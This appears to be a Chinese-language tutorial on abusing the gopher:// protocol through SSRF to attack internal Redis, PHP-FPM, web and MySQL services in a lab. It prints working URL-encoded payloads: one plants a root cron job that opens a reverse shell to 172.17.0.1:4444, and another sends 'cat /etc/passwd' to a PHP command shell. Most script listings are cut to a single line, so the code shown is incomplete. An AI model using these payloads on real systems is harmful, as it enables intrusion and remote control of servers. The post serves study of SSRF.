0x00 关于 Gopher
Gopher 是一个互联网上使用的分布型的文件搜集获取网络协议。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
0x01 攻击内网 Redis
实验环境:
CentOS 8.0.1905 (Core)
Nginx/1.14.1 + PHP 7.2.11
index.php:
1 |
|
一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 如下:
1 | # redis-cli -h $1 config set stop-writes-on-bgsave-error no |
将本地的 4444 端口转发到本地的 6379 端口,利用脚本攻击自身并抓包得到数据流:
1 | socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 |
Socat 捕获到数据流:
1 | > 2019/12/02 02:38:34.391245 length=84 from=0 to=83 |
转换流量适配 Gopher:// :
- redis2gopher.py
1 | #coding: utf-8 |
执行:
1 | [email protected]:~# python redis2gopher.py socat.log |
UrlEncode Payload:
1 | ?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%37%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%25%32%30%2a%25%32%30%2a%25%32%30%2a%25%32%30%2a%25%32%30%62%61%73%68%25%32%30%2d%69%25%32%30%3e%25%32%36%25%32%30%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%37%2e%30%2e%31%2f%34%34%34%34%25%32%30%30%3e%25%32%36%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61 |
成功反弹 shell:
0x02 攻击 PHP-FPM
Fastcgi 是一个通信协议,和 HTTP 协议一样,都是进行数据交换的一个通道。HTTP 协议是浏览器和服务器中间件进行数据交换的协议,浏览器将 HTTP 头和 HTTP 体用某个规则组装成数据包,以 TCP 的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以 HTTP 协议的规则打包返回给浏览器。类比 HTTP 协议来说,fastcgi 协议则是服务器中间件(如Nginx)和某个语言后端进行数据交换的协议。Fastcgi 协议由多个 record 组成,record 也有 header 和 body 一说,服务器中间件将这二者按照 fastcgi 的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
FPM(FastCGI Process Manager)其实是一个 fastcgi 协议解析器,Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给 FPM,FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 fastcgi 协议,和 fpm 进行通信,利用 Gopher + SSRF 可以完美攻击 FastCGI 执行任意命令。
通过 Gopher 传送 FastCgi 协议 Evil 数据(设置 PHP-FPM 环境变量,开启远程文件包含)给后端语言处理,从而执行任意代码。
1 | 'PHP_VALUE': 'auto_prepend_file = php://input', |
Require:
libcurl >= 7.45.0 (Exp 中包含
%00
, 低版本 Gopher 中的 %00 会被截断);PHP-FPM >= 5.3.3、监听端口(一般为 9000)、任意 php 绝对路径。
实验环境:Vulhub / fpm (IP 172.18.0.2)
端口映射:
查找 PHP 文件绝对路径:
如果外网暴露 9000 端口则直接攻击利用:
1 | python fpm.py 172.18.0.2 -p 9000 /usr/local/lib/php/pearcmd.php -c '<?php echo `id`; exit; ?>' |
- fpm.py
1 | import socket |
SSRF + Gopher:// 思路:
1 | nc -lvvp 4444 > log.txt |
- trans.py
1 | from urllib import quote |
观察到成功创建文件 /tmp/success:
0x03 攻击内网 Web
Gopher 协议的格式:
1 | gopher://127.0.0.1:70(默认端口)/_ + TCP/IP数据 |
这里的 _
是一种数据连接格式,不一定是 _
,其他任意字符皆可。Gopher 会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如 GET、POST 请求,Redis,Mysql 未授权访问等,同时数据部分必须要进行 url 编码,这样 Gopher 协议才能正确解析。
- post.php
1 | 'cmd']); system($_POST[ |
1 | POST /post.php HTTP/1.1 |
UrlEncode Data:
1 | $ python toGopher.py -h |
Payload:
1 | curl -v gopher://127.0.0.1:80/_%50%4f%53%54%20%2f%70%6f%73%74%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%3b%20%72%76%3a%37%30%2e%30%29%20%47%65%63%6b%6f%2f%32%30%31%30%30%31%30%31%20%46%69%72%65%66%6f%78%2f%37%30%2e%30%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%2a%2f%2a%3b%71%3d%30%2e%38%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%38%2c%7a%68%2d%54%57%3b%71%3d%30%2e%37%2c%7a%68%2d%48%4b%3b%71%3d%30%2e%35%2c%65%6e%2d%55%53%3b%71%3d%30%2e%33%2c%65%6e%3b%71%3d%30%2e%32%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%52%65%66%65%72%65%72%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%2f%70%6f%73%74%2e%70%68%70%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%39%0d%0a%4f%72%69%67%69%6e%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6d%61%78%2d%61%67%65%3d%30%0d%0a%0d%0a%63%6d%64%3d%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64 |
Success:
- toGopher.py
1 | # -*- coding:utf8 -*- |
0x04 攻击内网 Mysql
- 探测端口
1 | gopher://localhost:3306/_ |
1 | # coding=utf-8 |
0x05 系统局限性
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
PHP 的 curl 默认不 follow 302 跳转
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
- 参考 -
[1] Gopher - Wiki
[2] Do Evil Things with gopher:// - Ricter